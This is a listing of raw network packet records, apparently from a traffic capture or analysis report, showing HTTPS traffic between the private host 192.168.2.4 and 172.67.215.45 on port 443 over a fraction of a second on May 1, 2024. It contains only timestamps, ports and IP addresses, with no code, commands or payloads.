May 1, 2024 08:37:52.332597017 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.332740068 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.332745075 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.334275961 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.334291935 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.334388018 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.334388971 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.334393024 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.336147070 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.336169958 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.336235046 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.336235046 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.336240053 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.338022947 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.338038921 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.338088989 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.338093042 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.339844942 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.339869976 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.339912891 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.339916945 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.340966940 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.340986013 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.341021061 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.341021061 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.341027021 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.342156887 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.342808008 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.342842102 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.342880011 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.342883110 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.344809055 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.344835043 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.344841957 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.344906092 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.344906092 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.344911098 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.346661091 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.346688986 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.346720934 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.346724987 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.347825050 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.347857952 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.347881079 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.347881079 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.347887039 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.349632025 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.349663019 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.349694014 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.349694014 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.349699974 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.350068092 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.351419926 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.351444960 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.351545095 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.351545095 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.351551056 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.351685047 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.351710081 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.351751089 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.351762056 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.351790905 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.353034019 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.353049994 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.353112936 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.353120089 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.353523970 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.353549957 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.353578091 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.353581905 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.353620052 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.354971886 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.354986906 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.355047941 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.355052948 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.355293036 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.355318069 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.355348110 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.355356932 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.355389118 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.356420994 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.356447935 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.356517076 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.356520891 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.356524944 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.356935024 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.356957912 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.356987953 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.356992960 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.357017040 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.358167887 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.358189106 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.358226061 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.358231068 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.358802080 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.358818054 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.358848095 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.358851910 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.358879089 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.360006094 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.360038996 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.360066891 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.360066891 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.360073090 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.360683918 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.360697985 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.360738039 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.360742092 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.360761881 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.361856937 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.361881971 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.361910105 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.361911058 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.361916065 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.362154961 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.362552881 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.362570047 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.362627983 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.362632990 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.363694906 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.363722086 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.363756895 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.363760948 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.364902020 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.364917994 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.364970922 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.364975929 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.365025997 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.365042925 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.365084887 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.365084887 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.365096092 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.366157055 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.366780043 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.366803885 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.366843939 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.366847038 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.366852999 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.366864920 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.366935015 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.366935015 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.366940975 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.368470907 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.368638039 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.368658066 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.368696928 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.368700981 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.368870020 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.368886948 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.368918896 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.368923903 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.368943930 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.370172024 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.370534897 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.370557070 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.370631933 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.370632887 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.370632887 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.370639086 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.370651007 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.370680094 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.370683908 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.370716095 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.372220993 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.372239113 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.373312950 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.373327971 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.373362064 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.373367071 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.373393059 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.373497009 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.373524904 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.373550892 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.373550892 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.373557091 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.373600006 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.373600006 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.374871969 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.374888897 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.374948978 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.374954939 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.375085115 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.375103951 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.375133991 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.375138044 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.376761913 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.376777887 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.376779079 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.376842976 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.376847982 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.377018929 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.377038002 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.377098083 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.377098083 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.377101898 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.378037930 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.378060102 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.378087997 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.378087997 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.378092051 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.378148079 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.378148079 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.378654003 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.378679037 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.378736019 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.378741026 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.379822969 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.379844904 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.379874945 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.379879951 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.379925966 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.379925966 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.381186962 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.381206989 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.381261110 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.381274939 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.381278992 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.381278992 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.381283998 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.381326914 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.381333113 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.382155895 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.383086920 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.383106947 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.383178949 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.383183002 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.383228064 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.383253098 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.383266926 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.383299112 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.383302927 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.383336067 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.384073973 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.384093046 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.384152889 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.384152889 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.384156942 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.384763002 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.384780884 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.384848118 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.384848118 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.384852886 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.385922909 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.385946035 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.385972023 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.385972023 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.385977983 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.386028051 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.386028051 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.386883974 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.386905909 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.386966944 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.386970997 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.387427092 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.387445927 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.387475967 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.387480974 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.387505054 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.388725042 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.388747931 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.388776064 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.388776064 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.388782024 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.388833046 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.388833046 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.389317036 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.389333010 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.389451027 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.389456034 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.390072107 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.390089035 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.390129089 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.390132904 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.390156984 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.391186953 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.391199112 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.391206980 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.391239882 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.391244888 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.391273022 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.391921997 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.391938925 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.392987013 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.393021107 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.393044949 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.393044949 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.393047094 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.393054008 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.393065929 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.393098116 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.393101931 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.393129110 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.394160032 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.394789934 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.394809008 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.394867897 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.394871950 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.394987106 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.395004988 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.395034075 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.395037889 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.395066977 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.396671057 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.396692991 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.396761894 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.396761894 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.396765947 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.396816969 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.396830082 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.396884918 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.396889925 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.396907091 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.397569895 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.397586107 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.397995949 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.398013115 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.398051977 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.398056984 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.398082018 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.398154020 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.398159027 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.398860931 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.398885965 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.398940086 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.398945093 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.399893999 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.399908066 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.399954081 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.399957895 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.399981022 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.400922060 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.400938988 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.400939941 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.401006937 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.401006937 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.401010990 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.401540995 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.401557922 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.401619911 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.401623964 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.401633024 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.402575016 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.402596951 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.402630091 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.402635098 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.403578997 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.403594017 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.403600931 CEST	443	49751	172.67.215.45	192.168.2.4
